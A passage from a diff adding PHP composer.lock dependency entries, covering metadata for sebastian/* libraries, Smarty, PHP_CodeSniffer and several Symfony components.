"require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library for calculating the complexity of PHP code units", + "homepage": "https://github.com/sebastianbergmann/complexity", + "support": { + "issues": "https://github.com/sebastianbergmann/complexity/issues", + "source": "https://github.com/sebastianbergmann/complexity/tree/2.0.3" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-12-22T06:19:30+00:00" + }, + { + "name": "sebastian/diff", + "version": "4.0.5", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/diff.git", + "reference": "74be17022044ebaaecfdf0c5cd504fc9cd5a7131" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/diff/zipball/74be17022044ebaaecfdf0c5cd504fc9cd5a7131", + "reference": "74be17022044ebaaecfdf0c5cd504fc9cd5a7131", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3", + "symfony/process": "^4.2 || ^5" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "4.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + }, + { + "name": "Kore Nordmann", + "email": "mail@kore-nordmann.de" + } + ], + "description": "Diff implementation", + "homepage": "https://github.com/sebastianbergmann/diff", + "keywords": [ + "diff", + "udiff", + "unidiff", + "unified diff" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/diff/issues", + "source": "https://github.com/sebastianbergmann/diff/tree/4.0.5" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-05-07T05:35:17+00:00" + }, + { + "name": "sebastian/environment", + "version": "5.1.5", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/environment.git", + "reference": "830c43a844f1f8d5b7a1f6d6076b784454d8b7ed" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/environment/zipball/830c43a844f1f8d5b7a1f6d6076b784454d8b7ed", + "reference": "830c43a844f1f8d5b7a1f6d6076b784454d8b7ed", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "suggest": { + "ext-posix": "*" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.1-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Provides functionality to handle HHVM/PHP environments", + "homepage": "http://www.github.com/sebastianbergmann/environment", + "keywords": [ + "Xdebug", + "environment", + "hhvm" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/environment/issues", + "source": "https://github.com/sebastianbergmann/environment/tree/5.1.5" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-02-03T06:03:51+00:00" + }, + { + "name": "sebastian/exporter", + "version": "4.0.5", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/exporter.git", + "reference": "ac230ed27f0f98f597c8a2b6eb7ac563af5e5b9d" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/exporter/zipball/ac230ed27f0f98f597c8a2b6eb7ac563af5e5b9d", + "reference": "ac230ed27f0f98f597c8a2b6eb7ac563af5e5b9d", + "shasum": "" + }, + "require": { + "php": ">=7.3", + "sebastian/recursion-context": "^4.0" + }, + "require-dev": { + "ext-mbstring": "*", + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "4.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + }, + { + "name": "Jeff Welch", + "email": "whatthejeff@gmail.com" + }, + { + "name": "Volker Dusch", + "email": "github@wallbash.com" + }, + { + "name": "Adam Harvey", + "email": "aharvey@php.net" + }, + { + "name": "Bernhard Schussek", + "email": "bschussek@gmail.com" + } + ], + "description": "Provides the functionality to export PHP variables for visualization", + "homepage": "https://www.github.com/sebastianbergmann/exporter", + "keywords": [ + "export", + "exporter" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/exporter/issues", + "source": "https://github.com/sebastianbergmann/exporter/tree/4.0.5" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2022-09-14T06:03:37+00:00" + }, + { + "name": "sebastian/global-state", + "version": "5.0.6", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/global-state.git", + "reference": "bde739e7565280bda77be70044ac1047bc007e34" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/global-state/zipball/bde739e7565280bda77be70044ac1047bc007e34", + "reference": "bde739e7565280bda77be70044ac1047bc007e34", + "shasum": "" + }, + "require": { + "php": ">=7.3", + "sebastian/object-reflector": "^2.0", + "sebastian/recursion-context": "^4.0" + }, + "require-dev": { + "ext-dom": "*", + "phpunit/phpunit": "^9.3" + }, + "suggest": { + "ext-uopz": "*" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Snapshotting of global state", + "homepage": "http://www.github.com/sebastianbergmann/global-state", + "keywords": [ + "global state" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/global-state/issues", + "source": "https://github.com/sebastianbergmann/global-state/tree/5.0.6" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-08-02T09:26:13+00:00" + }, + { + "name": "sebastian/lines-of-code", + "version": "1.0.4", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/lines-of-code.git", + "reference": "e1e4a170560925c26d424b6a03aed157e7dcc5c5" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/lines-of-code/zipball/e1e4a170560925c26d424b6a03aed157e7dcc5c5", + "reference": "e1e4a170560925c26d424b6a03aed157e7dcc5c5", + "shasum": "" + }, + "require": { + "nikic/php-parser": "^4.18 || ^5.0", + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library for counting the lines of code in PHP source code", + "homepage": "https://github.com/sebastianbergmann/lines-of-code", + "support": { + "issues": "https://github.com/sebastianbergmann/lines-of-code/issues", + "source": "https://github.com/sebastianbergmann/lines-of-code/tree/1.0.4" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-12-22T06:20:34+00:00" + }, + { + "name": "sebastian/object-enumerator", + "version": "4.0.4", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/object-enumerator.git", + "reference": "5c9eeac41b290a3712d88851518825ad78f45c71" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/object-enumerator/zipball/5c9eeac41b290a3712d88851518825ad78f45c71", + "reference": "5c9eeac41b290a3712d88851518825ad78f45c71", + "shasum": "" + }, + "require": { + "php": ">=7.3", + "sebastian/object-reflector": "^2.0", + "sebastian/recursion-context": "^4.0" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "4.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Traverses array structures and object graphs to enumerate all referenced objects", + "homepage": "https://github.com/sebastianbergmann/object-enumerator/", + "support": { + "issues": "https://github.com/sebastianbergmann/object-enumerator/issues", + "source": "https://github.com/sebastianbergmann/object-enumerator/tree/4.0.4" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-10-26T13:12:34+00:00" + }, + { + "name": "sebastian/object-reflector", + "version": "2.0.4", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/object-reflector.git", + "reference": "b4f479ebdbf63ac605d183ece17d8d7fe49c15c7" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/object-reflector/zipball/b4f479ebdbf63ac605d183ece17d8d7fe49c15c7", + "reference": "b4f479ebdbf63ac605d183ece17d8d7fe49c15c7", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Allows reflection of object attributes, including inherited and non-public ones", + "homepage": "https://github.com/sebastianbergmann/object-reflector/", + "support": { + "issues": "https://github.com/sebastianbergmann/object-reflector/issues", + "source": "https://github.com/sebastianbergmann/object-reflector/tree/2.0.4" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-10-26T13:14:26+00:00" + }, + { + "name": "sebastian/recursion-context", + "version": "4.0.5", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/recursion-context.git", + "reference": "e75bd0f07204fec2a0af9b0f3cfe97d05f92efc1" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/recursion-context/zipball/e75bd0f07204fec2a0af9b0f3cfe97d05f92efc1", + "reference": "e75bd0f07204fec2a0af9b0f3cfe97d05f92efc1", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "4.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + }, + { + "name": "Jeff Welch", + "email": "whatthejeff@gmail.com" + }, + { + "name": "Adam Harvey", + "email": "aharvey@php.net" + } + ], + "description": "Provides functionality to recursively process PHP variables", + "homepage": "https://github.com/sebastianbergmann/recursion-context", + "support": { + "issues": "https://github.com/sebastianbergmann/recursion-context/issues", + "source": "https://github.com/sebastianbergmann/recursion-context/tree/4.0.5" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-02-03T06:07:39+00:00" + }, + { + "name": "sebastian/resource-operations", + "version": "3.0.3", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/resource-operations.git", + "reference": "0f4443cb3a1d92ce809899753bc0d5d5a8dd19a8" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/resource-operations/zipball/0f4443cb3a1d92ce809899753bc0d5d5a8dd19a8", + "reference": "0f4443cb3a1d92ce809899753bc0d5d5a8dd19a8", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Provides a list of PHP built-in functions that operate on resources", + "homepage": "https://www.github.com/sebastianbergmann/resource-operations", + "support": { + "issues": "https://github.com/sebastianbergmann/resource-operations/issues", + "source": "https://github.com/sebastianbergmann/resource-operations/tree/3.0.3" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-09-28T06:45:17+00:00" + }, + { + "name": "sebastian/type", + "version": "3.2.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/type.git", + "reference": "75e2c2a32f5e0b3aef905b9ed0b179b953b3d7c7" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/type/zipball/75e2c2a32f5e0b3aef905b9ed0b179b953b3d7c7", + "reference": "75e2c2a32f5e0b3aef905b9ed0b179b953b3d7c7", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.5" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.2-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Collection of value objects that represent the types of the PHP type system", + "homepage": "https://github.com/sebastianbergmann/type", + "support": { + "issues": "https://github.com/sebastianbergmann/type/issues", + "source": "https://github.com/sebastianbergmann/type/tree/3.2.1" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-02-03T06:13:03+00:00" + }, + { + "name": "siad007/versioncontrol_hg", + "version": "v1.0.3", + "source": { + "type": "git", + "url": "https://github.com/siad007/versioncontrol_hg.git", + "reference": "bdeb5515f14a6ccd1abdc69e8d0c9e8e0bb75ec3" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/siad007/versioncontrol_hg/zipball/bdeb5515f14a6ccd1abdc69e8d0c9e8e0bb75ec3", + "reference": "bdeb5515f14a6ccd1abdc69e8d0c9e8e0bb75ec3", + "shasum": "" + }, + "require": { + "php": ">=5.4" + }, + "require-dev": { + "codeclimate/php-test-reporter": "dev-master", + "mehr-als-nix/assumptions": "~1", + "phpunit/phpunit": "~4" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Siad007\\VersionControl\\HG\\": "src", + "Siad007\\VersionControl\\HG\\Tests\\": "tests" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Siad Ardroumli", + "email": "siad.ardroumli@gmail.com", + "role": "Lead" + } + ], + "description": "VersionControl_HG is a library that provides an OO interface to handle Mercurial repositories.", + "support": { + "issues": "https://github.com/siad007/versioncontrol_hg/issues", + "source": "https://github.com/siad007/versioncontrol_hg/tree/v1.0.3" + }, + "time": "2021-01-22T20:43:06+00:00" + }, + { + "name": "smarty/smarty", + "version": "v3.1.48", + "source": { + "type": "git", + "url": "https://github.com/smarty-php/smarty.git", + "reference": "2fc443806cdcaee4441be4d0bb09f8fa56a17f2c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/smarty-php/smarty/zipball/2fc443806cdcaee4441be4d0bb09f8fa56a17f2c", + "reference": "2fc443806cdcaee4441be4d0bb09f8fa56a17f2c", + "shasum": "" + }, + "require": { + "php": "^5.2 || ^7.0" + }, + "require-dev": { + "phpunit/phpunit": "^7.5 || ^6.5 || ^5.7 || ^4.8", + "smarty/smarty-lexer": "^3.1" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.1.x-dev" + } + }, + "autoload": { + "classmap": [ + "libs/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "LGPL-3.0" + ], + "authors": [ + { + "name": "Monte Ohrt", + "email": "monte@ohrt.com" + }, + { + "name": "Uwe Tews", + "email": "uwe.tews@googlemail.com" + }, + { + "name": "Rodney Rehm", + "email": "rodney.rehm@medialize.de" + } + ], + "description": "Smarty - the compiling PHP template engine", + "homepage": "http://www.smarty.net", + "keywords": [ + "templating" + ], + "support": { + "forum": "http://www.smarty.net/forums/", + "irc": "irc://irc.freenode.org/smarty", + "issues": "https://github.com/smarty-php/smarty/issues", + "source": "https://github.com/smarty-php/smarty/tree/v3.1.48" + }, + "time": "2023-03-28T19:45:54+00:00" + }, + { + "name": "squizlabs/php_codesniffer", + "version": "3.9.0", + "source": { + "type": "git", + "url": "https://github.com/PHPCSStandards/PHP_CodeSniffer.git", + "reference": "d63cee4890a8afaf86a22e51ad4d97c91dd4579b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/PHPCSStandards/PHP_CodeSniffer/zipball/d63cee4890a8afaf86a22e51ad4d97c91dd4579b", + "reference": "d63cee4890a8afaf86a22e51ad4d97c91dd4579b", + "shasum": "" + }, + "require": { + "ext-simplexml": "*", + "ext-tokenizer": "*", + "ext-xmlwriter": "*", + "php": ">=5.4.0" + }, + "require-dev": { + "phpunit/phpunit": "^4.0 || ^5.0 || ^6.0 || ^7.0 || ^8.0 || ^9.3.4" + }, + "bin": [ + "bin/phpcbf", + "bin/phpcs" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.x-dev" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Greg Sherwood", + "role": "Former lead" + }, + { + "name": "Juliette Reinders Folmer", + "role": "Current lead" + }, + { + "name": "Contributors", + "homepage": "https://github.com/PHPCSStandards/PHP_CodeSniffer/graphs/contributors" + } + ], + "description": "PHP_CodeSniffer tokenizes PHP, JavaScript and CSS files and detects violations of a defined set of coding standards.", + "homepage": "https://github.com/PHPCSStandards/PHP_CodeSniffer", + "keywords": [ + "phpcs", + "standards", + "static analysis" + ], + "support": { + "issues": "https://github.com/PHPCSStandards/PHP_CodeSniffer/issues", + "security": "https://github.com/PHPCSStandards/PHP_CodeSniffer/security/policy", + "source": "https://github.com/PHPCSStandards/PHP_CodeSniffer", + "wiki": "https://github.com/PHPCSStandards/PHP_CodeSniffer/wiki" + }, + "funding": [ + { + "url": "https://github.com/PHPCSStandards", + "type": "github" + }, + { + "url": "https://github.com/jrfnl", + "type": "github" + }, + { + "url": "https://opencollective.com/php_codesniffer", + "type": "open_collective" + } + ], + "time": "2024-02-16T15:06:51+00:00" + }, + { + "name": "symfony/config", + "version": "v5.4.35", + "source": { + "type": "git", + "url": "https://github.com/symfony/config.git", + "reference": "6b763438a22a4f20885e994ad6702f6a3f25430e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/config/zipball/6b763438a22a4f20885e994ad6702f6a3f25430e", + "reference": "6b763438a22a4f20885e994ad6702f6a3f25430e", + "shasum": "" + }, + "require": { + "php": ">=7.2.5", + "symfony/deprecation-contracts": "^2.1|^3", + "symfony/filesystem": "^4.4|^5.0|^6.0", + "symfony/polyfill-ctype": "~1.8", + "symfony/polyfill-php80": "^1.16", + "symfony/polyfill-php81": "^1.22" + }, + "conflict": { + "symfony/finder": "<4.4" + }, + "require-dev": { + "symfony/event-dispatcher": "^4.4|^5.0|^6.0", + "symfony/finder": "^4.4|^5.0|^6.0", + "symfony/messenger": "^4.4|^5.0|^6.0", + "symfony/service-contracts": "^1.1|^2|^3", + "symfony/yaml": "^4.4|^5.0|^6.0" + }, + "suggest": { + "symfony/yaml": "To use the yaml reference dumper" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Config\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Helps you find, load, combine, autofill and validate configuration values of any kind", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/config/tree/v5.4.35" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-23T13:51:25+00:00" + }, + { + "name": "symfony/dependency-injection", + "version": "v5.4.35", + "source": { + "type": "git", + "url": "https://github.com/symfony/dependency-injection.git", + "reference": "45474d527212ca67cdb93f6c5e6da68f4bc67118" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/dependency-injection/zipball/45474d527212ca67cdb93f6c5e6da68f4bc67118", + "reference": "45474d527212ca67cdb93f6c5e6da68f4bc67118", + "shasum": "" + }, + "require": { + "php": ">=7.2.5", + "psr/container": "^1.1.1", + "symfony/deprecation-contracts": "^2.1|^3", + "symfony/polyfill-php80": "^1.16", + "symfony/polyfill-php81": "^1.22", + "symfony/service-contracts": "^1.1.6|^2" + }, + "conflict": { + "ext-psr": "<1.1|>=2", + "symfony/config": "<5.3", + "symfony/finder": "<4.4", + "symfony/proxy-manager-bridge": "<4.4", + "symfony/yaml": "<4.4.26" + }, + "provide": { + "psr/container-implementation": "1.0", + "symfony/service-implementation": "1.0|2.0" + }, + "require-dev": { + "symfony/config": "^5.3|^6.0", + "symfony/expression-language": "^4.4|^5.0|^6.0", + "symfony/yaml": "^4.4.26|^5.0|^6.0" + }, + "suggest": { + "symfony/config": "", + "symfony/expression-language": "For using expressions in service container configuration", + "symfony/finder": "For using double-star glob patterns or when GLOB_BRACE portability is required", + "symfony/proxy-manager-bridge": "Generate service proxies to lazy load them", + "symfony/yaml": "" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\DependencyInjection\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Allows you to standardize and centralize the way objects are constructed in your application", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/dependency-injection/tree/v5.4.35" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-29T20:37:36+00:00" + }, + { + "name": "symfony/event-dispatcher", + "version": "v5.4.35", + "source": { + "type": "git", + "url": "https://github.com/symfony/event-dispatcher.git", + "reference": "7a69a85c7ea5bdd1e875806a99c51a87d3a74b38" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/event-dispatcher/zipball/7a69a85c7ea5bdd1e875806a99c51a87d3a74b38", + "reference": "7a69a85c7ea5bdd1e875806a99c51a87d3a74b38", + "shasum": "" + }, + "require": { + "php": ">=7.2.5", + "symfony/deprecation-contracts": "^2.1|^3", + "symfony/event-dispatcher-contracts": "^2|^3", + "symfony/polyfill-php80": "^1.16" + }, + "conflict": { + "symfony/dependency-injection": "<4.4" + }, + "provide": { + "psr/event-dispatcher-implementation": "1.0", + "symfony/event-dispatcher-implementation": "2.0" + }, + "require-dev": { + "psr/log": "^1|^2|^3", + "symfony/config": "^4.4|^5.0|^6.0", + "symfony/dependency-injection": "^4.4|^5.0|^6.0", + "symfony/error-handler": "^4.4|^5.0|^6.0", + "symfony/expression-language": "^4.4|^5.0|^6.0", + "symfony/http-foundation": "^4.4|^5.0|^6.0", + "symfony/service-contracts": "^1.1|^2|^3", + "symfony/stopwatch": "^4.4|^5.0|^6.0" + }, + "suggest": { + "symfony/dependency-injection": "", + "symfony/http-kernel": "" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\EventDispatcher\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides tools that allow your application components to communicate with each other by dispatching events and listening to them", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/event-dispatcher/tree/v5.4.35" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-23T13:51:25+00:00" + }, + { + "name": "symfony/event-dispatcher-contracts", + "version": "v2.5.2", + "source": { + "type": "git", + "url": "https://github.com/symfony/event-dispatcher-contracts.git", + "reference": "f98b54df6ad059855739db6fcbc2d36995283fe1" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/event-dispatcher-contracts/zipball/f98b54df6ad059855739db6fcbc2d36995283fe1", + "reference": "f98b54df6ad059855739db6fcbc2d36995283fe1", + "shasum": "" + }, + "require": { + "php": ">=7.2.5", + "psr/event-dispatcher": "^1" + }, + "suggest": { + "symfony/event-dispatcher-implementation": "" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "2.5-dev" + }, + "thanks": { + "name": "symfony/contracts", + "url": "https://github.com/symfony/contracts" + } + }, + "autoload": { + "psr-4": { + "Symfony\\Contracts\\EventDispatcher\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Generic abstractions related to dispatching event", + "homepage": "https://symfony.com", + "keywords": [ + "abstractions", + "contracts", + "decoupling", + "interfaces", + "interoperability", + "standards" + ], + "support": { + "source": "https://github.com/symfony/event-dispatcher-contracts/tree/v2.5.2" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2022-01-02T09:53:40+00:00" + }, + { + "name": "symfony/filesystem", + "version": "v5.4.35", + "source": { + "type": "git", + "url": "https://github.com/symfony/filesystem.git", + "reference": "5a553607d4ffbfa9c0ab62facadea296c9db7086" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/filesystem/zipball/5a553607d4ffbfa9c0ab62facadea296c9db7086", + "reference": "5a553607d4ffbfa9c0ab62facadea296c9db7086", + "shasum": "" + }, + "require": { + "php": ">=7.2.5", + "symfony/polyfill-ctype": "~1.8", + "symfony/polyfill-mbstring": "~1.8", + "symfony/polyfill-php80": "^1.16" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Filesystem\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides basic utilities for the filesystem", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/filesystem/tree/v5.4.35" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-23T13:51:25+00:00" + }, + { + "name": "symfony/finder", + "version": "v5.4.35", + "source": { + "type": "git", + "url": "https://github.com/symfony/finder.git", + "reference": "abe6d6f77d9465fed3cd2d029b29d03b56b56435" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/finder/zipball/abe6d6f77d9465fed3cd2d029b29d03b56b56435", + "reference": "abe6d6f77d9465fed3cd2d029b29d03b56b56435", + "shasum": "" + }, + "require": { + "php": ">=7.2.5", + "symfony/deprecation-contracts": "^2.1|^3", + "symfony/polyfill-php80": "^1.16" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Finder\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Finds files and directories via an intuitive fluent interface", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/finder/tree/v5.4.35" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-23T13:51:25+00:00" + }, + { + "name": "symfony/options-resolver", + "version": "v5.4.21", + "source": { + "type": "git", + "url": "https://github.com/symfony/options-resolver.git", + "reference": "4fe5cf6ede71096839f0e4b4444d65dd3a7c1eb9" + }, + "dist": { + 